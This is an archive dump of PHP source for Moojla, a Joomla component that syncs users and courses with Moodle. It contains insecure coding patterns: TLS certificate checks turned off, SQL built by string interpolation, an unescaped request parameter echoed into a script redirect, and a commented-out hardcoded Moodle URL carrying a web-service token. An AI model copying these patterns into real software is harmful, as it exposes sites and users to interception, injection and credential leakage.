	protected $text_prefix = 'COM_MOOJLA_USER_MAPS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'User_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	public function exportData()
	{
		// Check for request forgeries
		JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
		// check if export is allowed for this user.
		$user = JFactory::getUser();
		if ($user->authorise('user_map.export',
'com_moojla') &&
$user->authorise('core.export', 'com_moojla'))
		{
			// Get the input
			$input = JFactory::getApplication()->input;
			$pks = $input->post->get('cid', array(),
'array');
			// Sanitize the input
			$pks = ArrayHelper::toInteger($pks);
			// Get the model
			$model = $this->getModel('User_maps');
			// get the data to export
			$data = $model->getExportData($pks);
			if (MoojlaHelper::checkArray($data))
			{
				// now set the data to the spreadsheet
				$date = JFactory::getDate();
				MoojlaHelper::xls($data,'User_maps_'.$date->format('jS_F_Y'),'User
maps exported ('.$date->format('jS F,
Y').')','user maps');
			}
		}
		// Redirect to the list screen with error.
		$message = JText::_('COM_MOOJLA_EXPORT_FAILED');
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_maps',
false), $message, 'error');
		return;
	}


	public function importData()
	{
		// Check for request forgeries
		JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
		// check if import is allowed for this user.
		$user = JFactory::getUser();
		if ($user->authorise('user_map.import',
'com_moojla') &&
$user->authorise('core.import', 'com_moojla'))
		{
			// Get the import model
			$model = $this->getModel('User_maps');
			// get the headers to import
			$headers = $model->getExImPortHeaders();
			if (MoojlaHelper::checkObject($headers))
			{
				// Load headers to session.
				$session = JFactory::getSession();
				$headers = json_encode($headers);
				$session->set('user_map_VDM_IMPORTHEADERS', $headers);
				$session->set('backto_VDM_IMPORT', 'user_maps');
				$session->set('dataType_VDM_IMPORTINTO',
'user_map');
				// Redirect to import view.
				$message =
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_FOR_USER_MAPS');
				$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=import',
false), $message);
				return;
			}
		}
		// Redirect to the list screen with error.
		$message = JText::_('COM_MOOJLA_IMPORT_FAILED');
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_maps',
false), $message, 'error');
		return;
	}


/***[JCBGUI.admin_view.php_controller_list.130.$$$$]***/
  function getUsersFromMoodle()
  {
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
    $data = array(
      "wsfunction"          =>
"moojla_get_users_minimal",
      "moodlewsrestformat"  => "json"
    );
    $usersResult =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
    
    $params = JComponentHelper::getParams('com_moojla');
    $create_user_on_fetch =
trim($params->get('create_user_on_fetch'));
    $log = "";
    $logArraySynced = array();
    $logArrayAdded = array();
    foreach($usersResult as $user)
    {
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select($db->quoteName(array('id',
'jid')));
      $query->from($db->quoteName('#__moojla_user_map'));
      $query->where($db->quoteName('mid') . ' = '
. $db->quote($user->id));
      $db->setQuery($query);
      $searchResults = $db->loadRow();
      
      if($user->username != 'admin' &&
$user->username != 'guest')
      {
        $logArraySynced[] = 'JUser with id ' . $res . "
Synced!";
        
        if(!$searchResults)
        {
          $query = $db->getQuery(true);
          $query->select($db->quoteName(array('id')));
          $query->from($db->quoteName('#__users'));
          $query->where($db->quoteName('username') . '
= ' . $db->quote($user->username));
          $db->setQuery($query);
          $res = $db->loadResult();
          
          if($res)
          {
            $data = array(
              'mid'	=>	$user->id,
              'jid'	=>	$res
            );
            $usermap = new MoojlaModelUser_map();
            $usermap->save($data);
            
          }
          else if($create_user_on_fetch)
          {
            $data = array(
              "name"			=>	$user->firstname . ' '
. $user->lastname,
              "username"		=>	$user->username,
              "password"		=>	$user->password,
              "password2"		=>	$user->password,
              "email"			=>	$user->email,
              "block"			=>	0,
            );
            $newUser = MoojlaHelper::addJoomlaUser($data);
            if($newUser->status == "ok")
            {
              $data = array(
                'mid'	=>	$user->id,
                'jid'	=>	$newUser->id
              );
              $usermap = new MoojlaModelUser_map();
              $usermap->save($data);
              $logArrayAdded[] = 'JUser with id ' .
$newUser->id . " Added!";
            }
          }
        }
      }
    }
    
    $query = $db->getQuery(true);
    $query->select('*');
    $query->from($db->quoteName('#__moojla_user_map'));
    $db->setQuery($query);
    $results = $db->loadAssocList('mid');

    $data = array(
      "wsfunction"          =>
"moojla_get_teachers",
      "moodlewsrestformat"  => "json"
    );

    $teacherRes =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
    $coursesTeacherMap = array();
    foreach($teacherRes as $index => $teacher)
    {
      if(!array_key_exists($teacher->userid, $coursesTeacherMap)){
        $coursesTeacherMap[$teacher->userid] = array();
      }
      $coursesTeacherMap[$teacher->userid][] = $teacher->courseid;

    }
    foreach($coursesTeacherMap as $index => $ctm)
    {
      if(array_key_exists($index, $results))
      {
        $data = array(
          'id'		 
=>	intval($results[$index]['id']),
          'mid'    
=>	intval($results[$index]['mid']),
          'jid'    
=>	intval($results[$index]['jid']),
          'courses' => implode(',', $ctm)
        );
        $usermap = new MoojlaModelUser_map();
        $usermap->save($data);
      }
    }
    
    $log .= count($logArraySynced) . " User Synced and " .
count($logArrayAdded) . " User Added!<br/>";
    $log .= implode('<br/>', $logArraySynced) .
"<br/>";
    $log .= implode('<br/>', $logArrayAdded) .
"<br/>";
    $app = JFactory::getApplication();
    $message = $log .
JText::_('COM_MOOJLA_COMPLETELY_FETCHED');// translate_need
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
    return true;
  }

  function syncToMoodle()
  {
    $cid = $this->input->get('cid', array(),
'array');
    $cid = ArrayHelper::toInteger($cid);

    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName('jid'));
    $query->from($db->quoteName('#__moojla_user_map'));
    $query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid) . ')');
    $query->where($db->quoteName('jid') .' <>
""');
    $query->where($db->quoteName('jid') .' <>
0');
    $db->setQuery($query);
    $joomlausermaps = $db->loadColumn();
    foreach($joomlausermaps as $jusermap)
    {
      $params = JComponentHelper::getParams('com_moojla');
      $ads = trim($params->get('additional_data_source'));
      if($ads == "jf")
      {
        $juser = JFactory::getUser($jusermap);
        JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');

        $data = array(
          "wsfunction"          =>
"moojla_user_get_users_by_field",
          "moodlewsrestformat"  => "json",
          "field"		=> "username",
          "values"	=>
          array(
            $juser->username
          )
        );
        $usernameExist =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);

        $data = array(
          "wsfunction"          =>
"moojla_user_get_users_by_field",
          "moodlewsrestformat"  => "json",
          "field"		=> "email",
          "values"	=>
          array(
            $juser->email
          )
        );
        $emailExist =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
        $isNew = false;
        if(!$emailExist && !$usernameExist)
          $isNew = true;
        
        jimport('joomla.user.helper');
        $user = new JUser;
        $user->load($jusermap);
        JPluginHelper::importPlugin("user");
        $dispatcher = JEventDispatcher::getInstance();
        $user->from_joomla = 1;
        $dispatcher->trigger("onUserAfterSave",
array((array)$user, $isNew, (array)$user, null));
      }
      else if($ads == "cb")
      {
        $user = JFactory::getUser($jusermap);
        if ( ( ! file_exists( JPATH_SITE .
'/libraries/CBLib/CBLib/Core/CBLib.php' ) ) || ( ! file_exists(
JPATH_ADMINISTRATOR .
'/components/com_comprofiler/plugin.foundation.php' ) ) ) {
          echo 'CB not installed';
          return;
        }
        include_once( JPATH_ADMINISTRATOR .
'/components/com_comprofiler/plugin.foundation.php' );
        cbimport( 'cb.html' );
        global $_CB_framework, $_PLUGINS, $ueConfig;
        global $cbUser;
        $cbUser =& CBuser::getInstance( $jusermap, false);
        // $cbUser =& CBuser::getUserDataInstance( $searchResults[1]);
        $cuser =& $cbUser->getUserData();
        $oldUserComplete		=	new \CB\Database\Table\UserTable();
        $_PLUGINS->loadPluginGroup($user->username); // for using cb
trigering
        $_PLUGINS->loadPluginGroup( 'user' );
        foreach ( array_keys( get_object_vars( $cuser ) ) as $k ) {
          if ( substr( $k, 0, 1 ) != '_' ) {
            $oldUserComplete->set( $k, $cuser->get( $k ) );
          }
        }

        // $user->set( 'name', $name );

        $_PLUGINS->trigger( 'onBeforeUserUpdate', array(
&$cuser, &$cuser, &$oldUserComplete, &$oldUserComplete )
);
        $cuser->set( 'params', array() ); 
        // if ( ! $cuser->store() ) {
          // return false;
        //}
        $_PLUGINS->trigger( 'onAfterUserUpdate', array(
&$cuser, &$cuser, $oldUserComplete ) );
        // $_PLUGINS->trigger( 'onAfterUserRegistration',
array( &$cuser, &$cuser, $oldUserComplete ) );
      }
      
    
    }

    $app = JFactory::getApplication();
    $message = $log . JText::_('COM_MOOJLA_COMPLETELY_SYNCED');
// translate_need
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
    return true;
  }
  
    function fetchMoodleUsers()
    {
        JLoader::register('MoojlaHelper', JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/moojla.php');
        require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
        $data = array(
            "wsfunction" =>
"moojla_get_users_minimal",
            "moodlewsrestformat" => "json"
        );
        $musers =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('*');
        $query->from($db->quoteName('#__users'));
        $db->setQuery($query);
        $usermaps = $db->loadAssocList('username');
        $params = JComponentHelper::getParams('com_moojla');
        $create_user_on_fetch =
trim($params->get('create_user_on_fetch'));
        $total_fetch_moodle_users =
$params->get('total_fetch_moodle_users', 1000);
        $number_per_request_fetch_moodle_users =
$params->get('number_per_request_fetch_moodle_users', 50);



        $query = $db->getQuery(true);
        $query->select('*');
       
$query->from($db->quoteName('#__moojla_user_map'));
        $db->setQuery($query);
        $user_maps = $db->loadAssocList('mid');

        $musers = array_filter($musers, function ($v) use ($user_maps) {
            return !isset($user_maps[$v->id]);
        });

        if (isset($_GET['c'])) {
            $c = $_GET['c'];
        } else {
            $c = 0;
        }

        $progress_percent = (($c / $total_fetch_moodle_users) * 100);
        echo '<div class="progress">
                    <div class="progress-bar"
role="progressbar" aria-valuenow="70"
                         aria-valuemin="0"
aria-valuemax="100" style="
                         width:' . $progress_percent . '%;
                        float: left;
                        height: 100%;
                        font-size: 12px;
                        line-height: 20px;
                        color: #fff;
                        text-align: center;
                        background-color: #337ab7;
                        -webkit-box-shadow: inset 0 -1px 0
rgba(0,0,0,.15);
                        box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
                        -webkit-transition: width .6s ease;
                        -o-transition: width .6s ease;
                        transition: width .6s ease;">
                        ' . floor($progress_percent) . '%
                    </div>
                </div>';

        foreach ($musers as $muser) {
            if (!in_array($muser->username, ['admin',
'guest', 'superuser', 'moojla'])) {
                if (array_key_exists($muser->username, $usermaps)) {
                    $mapArray = array(
                        "mid" => intval($muser->id),
                        "jid" =>
intval($usermaps[$muser->username]['id'])
                    );
                    MoojlaHelper::addToUserMap($mapArray);
                } else {
                    if (1) {
                        $data = array(
                            "name" => $muser->firstname .
' ' . $muser->lastname,
                            "username" =>
$muser->username,
                            "password" =>
$muser->password,
                            "password2" =>
$muser->password,
                            "email" => $muser->email,
                            "block" => 0,
                        );
                        $newUser = MoojlaHelper::addJoomlaUser($data);
                        if ($newUser->status == "ok") {
                            $data = array(
                                'mid' => $muser->id,
                                'jid' => $newUser->id
                            );
                            $usermap = new MoojlaModelUser_map();
                            $usermap->save($data);
                        }
                    }
                    $db = JFactory::getDbo();
                    $query = $db->getQuery(true);
                   
$query->select($db->quoteName(array('id')));
                   
$query->from($db->quoteName('#__moojla_user_map'));
                    $query->where($db->quoteName('mid') .
' = ' . $db->quote($muser->id));
                    $db->setQuery($query);
                    $muser_exist = $db->loadResult();
                    if (!$muser_exist) {
                        $mapArray = array(
                            "mid" => intval($muser->id),
                            "jid" => ''
                        );
                        MoojlaHelper::addToUserMap($mapArray);
                    }
                }

                $c++;
                if ($c == $total_fetch_moodle_users) {
                    break;
                }
                 if ($number_per_request_fetch_moodle_users != -1
&& $number_per_request_fetch_moodle_users != 0)
                {
                    if ($c % $number_per_request_fetch_moodle_users == 0)
{
                        echo "<script>window.location =
'/administrator/index.php?option=com_moojla&view=user_maps&task=user_maps.fetchMoodleUsers&c=$c'</script>";
                        return 0;
                    }
                }

            }
        }

        $message = ($c) . ' ' .
JText::_('COM_MOOJLA_COMPLETELY_FETCHED');// translate_need
       
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
        return true;
    }

  function syncToJoomla()
  {
    $app = JFactory::getApplication();
    $cid = $this->input->get('cid', array(),
'array');
    $cid = ArrayHelper::toInteger($cid);
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName('mid'));
    $query->from($db->quoteName('#__moojla_user_map'));
    $query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid) . ')');
    $query->where($db->quoteName('mid') .' <>
""');
    $query->where($db->quoteName('mid') .' <>
0');
    $db->setQuery($query);
    $musers = $db->loadColumn(); 
    $data = array(
      "wsfunction"          =>
"moojla_trigger_create_users",
      "moodlewsrestformat"  => "json",
      "userids"	=> array()
    );
    foreach($musers as $muser)
    {
      $data['userids'][] = array('id' =>
intval($muser));
    }
    // dump($data, "data");
    $triggeringResult =
json_decode(MoojlaHelper::sendRequestToMoodle($data,
array("from_joomla" => 0))->response);
    // dump($triggeringResult, "triggeringResult");
    foreach($triggeringResult as $newuser)
    {
      $userId    = JUserHelper::getUserId($newuser->username);
      $mapdata = array(
        "mid"   => $newuser->id,
        "jid"   => $userId
      );
      MoojlaHelper::addToUserMap($mapdata);
    }
    $message = JText::_('COM_MOOJLA_COMPLETELY_FETCHED');//
translate_need
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
    return true;
  }

  function fetchJoomlaUsers() 
  {
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
    $app = JFactory::getApplication();
    
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select('*');
    $query->from($db->quoteName('#__moojla_user_map'));
    $db->setQuery($query);
    $usermaps = $db->loadAssocList('jid');

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select('*');
    $query->from($db->quoteName('#__users'));
    $db->setQuery($query);
    $jusers = $db->loadAssocList('username');

    
    // dump($jusers, "jusers");
    foreach($jusers as $juser)
    {
      if(!in_array($juser['username'], ['admin',
'guest', 'superuser', 'moojla']))
      {
        if(!array_key_exists($juser['id'], $usermaps))
        {
          $mapArray = array(
            "jid"	=>	intval($juser['id'])
          );
          // dump($mapArray, "mapArray");
          MoojlaHelper::addToUserMap($mapArray);
        }
      }
    }
    
    $params = JComponentHelper::getParams('com_moojla');
    $create_user_on_fetch =
trim($params->get('create_user_on_fetch'));
    
    $message = $log .
JText::_('COM_MOOJLA_COMPLETELY_FETCHED');// translate_need
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
    return true;
  }

  function checkMoodleUser()
  {
    $cid = $this->input->get('cid', array(),
'array');
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    $data = array(
      "wsfunction"          =>
"moojla_user_is_fully_setted",
      "moodlewsrestformat"  => "json",
      "id"	=> $cid[0]
    );
    $triggeringResult =
MoojlaHelper::sendRequestToMoodle($data)->response;
    print_r($triggeringResult);
    // print_r($data);
    die();
    

  }
/***[/JCBGUI$$$$]***/

}
donwnloaded/index.html000064400000000054151165724400011043
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>helpers/headercheck.php000064400000004325151165724400011156
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		headercheck.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

class moojlaHeaderCheck
{
	function js_loaded($script_name)
	{
		// UIkit check point
		if (strpos($script_name,'uikit') !== false)
		{
			$app            	= JFactory::getApplication();
			$getTemplateName  	=
$app->getTemplate('template')->template;
			
			if (strpos($getTemplateName,'yoo') !== false)
			{
				return true;
			}
		}
		
		$document 	= JFactory::getDocument();
		$head_data 	= $document->getHeadData();
		foreach (array_keys($head_data['scripts']) as $script)
		{
			if (stristr($script, $script_name))
			{
				return true;
			}
		}

		return false;
	}
	
	function css_loaded($script_name)
	{
		// UIkit check point
		if (strpos($script_name,'uikit') !== false)
		{
			$app            	= JFactory::getApplication();
			$getTemplateName  	=
$app->getTemplate('template')->template;
			
			if (strpos($getTemplateName,'yoo') !== false)
			{
				return true;
			}
		}
		
		$document 	= JFactory::getDocument();
		$head_data 	= $document->getHeadData();
		
		foreach (array_keys($head_data['styleSheets']) as $script)
		{
			if (stristr($script, $script_name))
			{
				return true;
			}
		}

		return false;
	}
}helpers/html/batch_.php000064400000005100151165724400011104
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		batch_.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('JPATH_PLATFORM') or die;

/**
 * Utility class to render a list view batch selection options
 *
 * @since  3.0
 */
abstract class JHtmlBatch_
{
	/**
	 * ListSelection
	 *
	 * @var    array
	 * @since  3.0
	 */
	protected static $ListSelection = array();

	/**
	 * Render the batch selection options.
	 *
	 * @return  string  The necessary HTML to display the batch selection
options
	 *
	 * @since   3.0
	 */
	public static function render()
	{
		// Collect display data
		$data                 = new stdClass;
		$data->ListSelection  = static::getListSelection();

		// Create a layout object and ask it to render the batch selection
options
		$layout    = new JLayoutFile('batchselection');
		$batchHtml = $layout->render($data);

		return $batchHtml;
	}

	/**
	 * Method to add a list selection to the batch modal
	 *
	 * @param   string  $label      Label for the menu item.
	 * @param   string  $name       Name for the filter. Also used as id.
	 * @param   string  $options    Options for the select field.
	 * @param   bool    $noDefault  Don't the label as the empty option
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function addListSelection($label, $name, $options,
$noDefault = false)
	{
		array_push(static::$ListSelection, array('label' => $label,
'name' => $name, 'options' => $options,
'noDefault' => $noDefault));
	}

	/**
	 * Returns an array of all ListSelection
	 *
	 * @return  array
	 *
	 * @since   3.0
	 */
	public static function getListSelection()
	{
		return static::$ListSelection;
	}
}
helpers/html/index.html000064400000000054151165724400011153
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>helpers/index.html000064400000000054151165724400010207
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>helpers/moojla.php000064400000300027151165724400010207
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moojla.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Language\Language;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

/**
 * Moojla component helper.
 */
abstract class MoojlaHelper
{
	/**
	 * Composer Switch
	 * 
	 * @var      array
	 */
	protected static $composer = array();

	/**
	 * The Main Active Language
	 * 
	 * @var      string
	 */
	public static $langTag;

/***[JCBGUI.joomla_component.php_helper_both.29.$$$$]***/
	public static function get_role_by_remoteid($remoteid, $role)
    {

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        $query->select('mc.id as id, shortname, remoteid, cat_name,
catid, cost, summary_files, summary, fullname, e.jid, e.role');
        $query->from($db->quoteName('#__moojla_enrolment',
'e'));
       
$query->join('inner',$db->quoteName('#__moojla_enrolment','ee').'
on
'.$db->quoteName('e.jid').'='.$db->quoteName('ee.jid'));
       
$query->join('inner',$db->quoteName('#__moojla_course','mc').'
on
'.$db->quoteName('mc.remoteid').'='.$db->quoteName('ee.moojlacourse'));
       
$query->where($db->quoteName('ee.moojlacourse').'!='.$remoteid);
       
$query->where($db->quoteName('e.moojlacourse').'='.$remoteid);
       
$query->where($db->quoteName('ee.role').'='.
$role);

        $db->setQuery($query);
        $result = $db->loadObjectList('remoteid');
        return $result;
	} 

public static function addJoomlaUser($data) {
    // $file_name = __DIR__. "/addJoomlaUser.txt";
    // file_put_contents($file_name, print_r($data, true)."\n",
FILE_APPEND);
    $result = new stdClass();
    $result->id = 0;
    // $app		= JFactory::getApplication();
    jimport('joomla.user.helper');
    $userdata = array(
      "name"=>trim(strval($data['name'])),
      "username"=>trim(strval($data['username'])),
      "password"=>trim(strval($data['password'])),
      "password2"=>trim(strval($data['password'])),
      "email"=>trim(strval($data['email'])),
      "block"=>0,
    );
    foreach($userdata as $d)
    {
      if(trim(strval($d)) == "" || !$d)
        unset($d);
    }

    $userdata["groups"] = array("2");
    $user = new JUser;
    //Write to database
    if(!$user->bind($userdata)) {
      $result->status = $user->getError();
      return $result;
      // $app->enqueueMessage($user->getError(), 'error');
      // $app->redirect(JRoute::_($_SERVER['HTTP_REFERER'],
false));
    }

    //before save
    $user->from_moodle = true;
    if (!$user->save()) {
      $result->status = $user->getError();
      return $result;
      // $app->enqueueMessage($user->getError(), 'error');
      // $app->redirect(JRoute::_($_SERVER['HTTP_REFERER'],
false));
    }
    if(isset($data["moodle"]))
    {
      JPluginHelper::importPlugin("moojlaaditionalfields");
      $dispatcher = JEventDispatcher::getInstance();
      $dispatch_res	= $dispatcher->trigger("addUserToJoomla",
array($data["moodle"], $user->id));

    }
    $userdata['userid'] = $user->id;
    $result->status = "ok";
    $result->id = $user->id;
    return $result;
  }

  public static function updateJoomlaUser($data, $id) {
    $result = new stdClass();
    $result->id = $id;
    jimport('joomla.user.helper');
    $userdata = array(
      "name"=>trim(strval($data['name'])),
      "username"=>trim(strval($data['username'])),
      "password"=>trim(strval($data['password'])),
      "password2"=>trim(strval($data['password'])),
      "email"=>trim(strval($data['email'])),
      "block"=>0,
    );
    foreach($userdata as $d)
    {
      if(trim(strval($d)) == "" || !$d)
        unset($d);
    }

    $userdata["groups"] = array("2");
    $user = new JUser;
    $user->load($id);
    //Write to database
    if(!$user->bind($userdata)) {
      $result->status = $user->getError();
      return $result;

    }
    $user->from_moodle = true;
    if (!$user->save()) {
      $result->status = $user->getError();
      return $result;

    }

    $params = JComponentHelper::getParams('com_moojla');
    $ads = trim($params->get('additional_data_source'));
    if(isset($data["post"]))
    {
      $newdata = isset($data["moodle"]) ?
$data["moodle"] : $data["post"];
      // if($ads == "jf")
      // {
      JPluginHelper::importPlugin("moojlaaditionalfields");
      $dispatcher = JEventDispatcher::getInstance();
      $dispatch_res	= $dispatcher->trigger("addUserToJoomla",
array($newdata, $id));
      // }
      // else if($ads == "cb")
      // {
      // $file_name = __DIR__. "/updateJoomlaUser111111111.txt";
      // file_put_contents($file_name, 'dispatch_res = ' .
print_r($dispatch_res, true)."\n", FILE_APPEND);
      // }
    }
    $result->status = "ok";

    return $result;
  }
  public static function deleteJoomlaUser($id) {
    $result = new stdClass();

    jimport('joomla.user.helper');

    $user = new JUser;
    $user->load($id);

    if (!$user->delete()) {
      $result->status = $user->getError();
      return $result;

    }

    $result->status = "ok";
    return $result;
  }


  /**
    * 
    *
    *
    *	$data and body are array with keys and values
    */
  public static function sendRequestToMoodle($data, $body=array())
  {
    /*
      $curl = curl_init();

      curl_setopt_array($curl, array(
        CURLOPT_URL =>
"http://atwh.ir/lms/webservice/rest/server.php?wsfunction=moojla_trigger_create_users&moodlewsrestformat=json&wstoken=1b7d4d04a7bff9cd676ae5e20cba6260&userids%5B0%5D%5Bid%5D=428",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 0,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS =>"{}",
        CURLOPT_HTTPHEADER => array(
          "Content-Type: application/json"
        ),
      ));

      $response = curl_exec($curl);

      curl_close($curl);
      echo $response;
      */
    /*
      */
    $postField = new stdClass();
    $postField->from_joomla = 1;
    foreach($body as $key => $value)
    {
      $postField->$key = $value;
      if(!$value)
        unset($postField->$key);
    }
    $postField = json_encode($postField);

    $params = JComponentHelper::getParams('com_moojla');
    $moodle_url= trim($params->get('moodle_url'));
    $moodle_token = trim($params->get('moodle_token'));
    $data["wstoken"] = $moodle_token;

    $url = $moodle_url . "webservice/rest/server.php?" .
http_build_query($data);
    //$url = urldecode($url);
    // dump($url, "url");
    $curl = curl_init();

    curl_setopt_array($curl, array(
      CURLOPT_URL => $url,
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_ENCODING => "",
      CURLOPT_MAXREDIRS => 10,
      CURLOPT_TIMEOUT => 0,
      CURLOPT_SSL_VERIFYHOST  => 0,
      CURLOPT_SSL_VERIFYPEER  => 0,
      CURLOPT_FOLLOWLOCATION => true,
      CURLOPT_CUSTOMREQUEST => "POST",
      CURLOPT_POSTFIELDS => $postField,
      CURLOPT_HTTPHEADER => array(
        "Content-Type: application/json"
      ),
    ));

    $response = curl_exec($curl);
    $error    = curl_error($curl);
    curl_close($curl);
    $output = new stdClass();
    $output->response   = $response;
    $output->error      = $error;
    return $output;
  }

  public static function addToUserMap($data){
    if(!$data['jid'])
      $data['jid'] = 0;
    if(!$data['mid'])
      $data['mid'] = 0;
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query = "SELECT * FROM `#__moojla_user_map` WHERE ((jid > 0
AND jid = '{$data['jid']}') OR (mid > 0 AND mid =
'{$data['mid']}')) AND published = 1";
    $db->setQuery($query);
    $usermapres = $db->loadAssocList()[0];
    if(isset($usermapres['id']))
      $id = $usermapres['id'];
    else
      $id = '';
    if($data['jid'] || $data['mid'])
    {
      if($id)
        $data['id'] = $id;
      $usermap = new MoojlaModelUser_map();
      $usermap->save($data);
    }
    if($data['jid'] != 0 && $data['mid'] != 0)
    {
      require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
      $query = $db->getQuery(true);
      $query->select('id');
